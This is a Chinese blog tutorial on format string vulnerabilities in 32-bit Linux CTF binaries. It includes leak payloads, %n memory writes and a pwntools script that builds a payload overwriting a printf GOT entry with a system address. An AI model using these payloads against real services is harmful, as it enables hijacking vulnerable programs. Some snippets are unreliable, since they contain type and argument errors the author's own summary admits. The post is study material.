format string vulnerability

format string vulnerability

四月 08, 2017

做题遇到了格式化字符串的漏洞,看了下大灰阔的Blog,发现他写的貌似有些抽象,自己又了解了一下,所以,我要记录下这有趣的事情。

格式化字符串漏洞

0x01 关于format_string_vulnerability

格式化字符串漏洞是一类允许攻击者在任意内存地址执行读或者写操作的软件缺陷,由像printf这样需要用户输入的代码引起的,具有Set-UID root权限的这类程序在运行的时候,printf语句将会变得非常危险。格式化串漏洞和普通的栈溢出有相似之处,但又有所不同,它们都是利用了程序员的疏忽大意来改变程序运行的正常流程。格式化字符串漏洞在Windows下很难以利用,但是在Linux下的pwn题目中出现的频率是很高的。

0x02 什么是格式化字符串

print()fprint()等一系列的函数可以按照一定的格式将数据进行输出,比如:

1
2
printf("Who_am_i:%s","Processor")
printf("Who_am_i:%100s","Processor")

printf函数的第一个参数就是格式化字符串,他来告诉程序将数据以什么格式输出,对于printf()函数:

1
2
3
4
5
printf("format",输出);

其中:

format :%[标志][输出最小宽度][.精度][长度]类型

关于格式化字符串的具体说明请参照:格式化字符串

0x03格式化字符串漏洞原理

printf()函数参数个数不固定实现地址读取

我们先简单写一个正常的程序:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main()
{
int a=1,b=2,c=3;
int buf = "test" ;
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}

编译之后运行:

1
2
3
➜  ~ gcc -m32 -fno-stack-protector -o format format.c
➜ ~ ./format
test 1 2 3

那么我们给printf()函数加一个参数:

1
printf("%s %d %d %d %x\n",buf,a,b,c)

接着编译运行:

1
2
3
4
5
6
7
➜  ~ gcc -m32 -fno-stack-protector -o format1 format1.c 
format1.c: In function ‘main’:
format1.c:6:12: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
printf("%s %d %d %d %x\n",buf,a,b,c);
^
➜ ~ ./format
test 1 2 3 f772e000

我们这一次得到了f772e000这个数据。我们用gdb在printf()处下断点,进行调试,在printf()函数处下断点并且执行到这里,查看栈中数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 [----------------------------------registers-----------------------------------]
EAX: 0xffffcfef ("test")
EBX: 0x0
ECX: 0xffffd020 --> 0x1
EDX: 0xffffd044 --> 0x0
ESI: 0xf7fb8000 --> 0x1b1db0
EDI: 0xf7fb8000 --> 0x1b1db0
EBP: 0xffffd008 --> 0x0
ESP: 0xffffcfbc --> 0x8048456 (<main+75>: add esp,0x20)
EIP: 0xf7e4f670 (<printf>: call 0xf7f25999)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e4f66b <fprintf+27>: ret
0xf7e4f66c: xchg ax,ax
0xf7e4f66e: xchg ax,ax
=> 0xf7e4f670 <printf>: call 0xf7f25999
0xf7e4f675 <printf+5>: add eax,0x16898b
0xf7e4f67a <printf+10>: sub esp,0xc
0xf7e4f67d <printf+13>: mov eax,DWORD PTR [eax-0x68]
0xf7e4f683 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcfbc --> 0x8048456 (<main+75>: add esp,0x20)
0004| 0xffffcfc0 --> 0x80484f0 ("%s %d %d %d %x\n")
0008| 0xffffcfc4 --> 0xffffcfef ("test")
0012| 0xffffcfc8 --> 0x1
0016| 0xffffcfcc --> 0x2
0020| 0xffffcfd0 --> 0x3
0024| 0xffffcfd4 --> 0xf7fb8000 --> 0x1b1db0
0028| 0xffffcfd8 --> 0xf7fb6244 --> 0xf7e1e020 (call 0xf7f25999)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e4f670 in printf () from /lib/i386-linux-gnu/libc.so.6
gdb-peda$ x/10x $sp
0xffffcfbc: 0x08048456 0x080484f0 0xffffcfef 0x00000001
0xffffcfcc: 0x00000002 0x00000003 0xf7fb8000 0xf7fb6244
0xffffcfdc: 0xf7e1e0ec 0x00000001

在栈结构里看出,这次的取值应该是f7fb8000

我们接近对源代码进行修改:

1
printf("%s %d %d %d %x %x %x %x\n",buf,a,b,c)

编译并执行:

1
2
3
4
5
6
7
8
9
10
➜  ~ gcc -m32 -fno-stack-protector -o format1 format1.c 
format1.c: In function ‘main’:
format1.c:6:12: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
printf("%s %d %d %d %x %x %x %x\n",buf,a,b,c);
^
format1.c:6:12: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
format1.c:6:12: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
format1.c:6:12: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
➜ ~ ./format1
test 1 2 3 f76eb000 f76e9244 f75510ec 1

我们可以和上面的调试结果进行对比,发现修改后的程序又进行了对栈中的数据进行输出操作。

我们可以用另一个程序:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main()
{
char str[200];
fgets(str,200,stdin);
printf(str);
return 0;
}

编译并执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  ~ gcc -m32 -fno-stack-protector -o a a.c
a.c: In function ‘main’:
a.c:6:12: warning: format not a string literal and no format arguments [-Wformat-security]
printf(str);
^
➜ ~ ./a
AAAA
AAAA
➜ ~ ./a
AAAA%08x%08x%08x%08x
AAAA000000c8f77615a0f77a6c0800000000
➜ ~ ./a
AAAA%08x%08x%08x%08x%08x%08x
AAAA000000c8f77755a0f77bac08000000000000000041414141

我们用gdb在printf()处下断点,进行调试,在printf()函数处下断点并且执行到这里,查看栈中数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 [----------------------------------registers-----------------------------------]
EAX: 0xffffcf38 ("AAAA%08x%08x%08x%08x\n")
EBX: 0x0
ECX: 0x0
EDX: 0xf7fb987c --> 0x0
ESI: 0xf7fb8000 --> 0x1b1db0
EDI: 0xf7fb8000 --> 0x1b1db0
EBP: 0xffffd008 --> 0x0
ESP: 0xffffcf1c --> 0x80484ab (<main+64>: add esp,0x10)
EIP: 0xf7e4f670 (<printf>: call 0xf7f25999)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e4f66b <fprintf+27>: ret
0xf7e4f66c: xchg ax,ax
0xf7e4f66e: xchg ax,ax
=> 0xf7e4f670 <printf>: call 0xf7f25999
0xf7e4f675 <printf+5>: add eax,0x16898b
0xf7e4f67a <printf+10>: sub esp,0xc
0xf7e4f67d <printf+13>: mov eax,DWORD PTR [eax-0x68]
0xf7e4f683 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcf1c --> 0x80484ab (<main+64>: add esp,0x10)
0004| 0xffffcf20 --> 0xffffcf38 ("AAAA%08x%08x%08x%08x\n")
0008| 0xffffcf24 --> 0xc8
0012| 0xffffcf28 --> 0xf7fb85a0 --> 0xfbad2288
0016| 0xffffcf2c --> 0xf7ffdc08 --> 0xf7fd8000 (jg 0xf7fd8047)
0020| 0xffffcf30 --> 0x0
0024| 0xffffcf34 --> 0x0
0028| 0xffffcf38 ("AAAA%08x%08x%08x%08x\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0xf7e4f670 in printf () from /lib/i386-linux-gnu/libc.so.6
gdb-peda$ x/20x $sp
0xffffcf1c: 0x080484ab 0xffffcf38 0x000000c8 0xf7fb85a0
0xffffcf2c: 0xf7ffdc08 0x00000000 0x00000000 0x41414141
0xffffcf3c: 0x78383025 0x78383025 0x78383025 0x78383025
0xffffcf4c: 0xffff000a 0xffffd010 0xf7fe2a4b 0x08048210
0xffffcf5c: 0xffffcfc8 0xf7ffda74 0x00000001 0xf7fd5b48

到这里,我们可以实现对地址的数据读取,如果想要获取0x41414141地址上的数据,我们可以构造如下payload:

1
\x41\x41\x41\x41%08x%08x%08x%08x%08x%s

对目标地址写入数据

格式符%n是输出前面已打印字符的长度,据此我们可以实现对目标地址的数据写入。

一个简单的程序:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main()
{
int a = 1234;
int b;
printf("%d%n\n",a,&b);
printf("%d",b);
return 0;
}

编译并执行:

1
2
3
4
➜  ~ gcc -m32 -fno-stack-protector -o a a.c
➜ ~ ./a
1234
4⏎

这个程序的流程类似于:先输出a的值,然后把输出的字符长度赋给b,再输出b的值。这样,就可以在内存中写入b的值。

0x04 Exploit

%2$x:该格式符输出了第二个参数位置的值

根据上面的程序,我们知道字符AAAA储存的位置是sp+0x18,所以:

1
2
3
➜  ~ ./a
AAAA%6$x
AAAA41414141

其中6我们称为offset,pwntools有自动化代码可以算出offset:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# fmt_test.py
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

def exec_fmt(payload):
p = process("a.out")
p.sendline(payload)
info = p.recv()
p.close()
return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset

如果将0xaaaaaaaa写入0x0804a010,可以使用pwntools:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'
printf_got = 0x804a010
system_add = 0xaaaaaaaa

def exec_fmt(payload):
p.sendline(payload)
return p.recv()

p = remote("127.0.0.1", 10001)
autofmt = FmtStr(exec_fmt)
payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})

生成的payload:

1
2
>>> payload
'\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08%154c%11$hhn%12$hhn%13$hhn%14$hhn'

0xaa分别写入11,12,13,14位置,每次写入一字节。

后记

看着一片逻辑混乱的blog写出来的逻辑混乱的blog,日后自己有个更好的理解还会回来修改。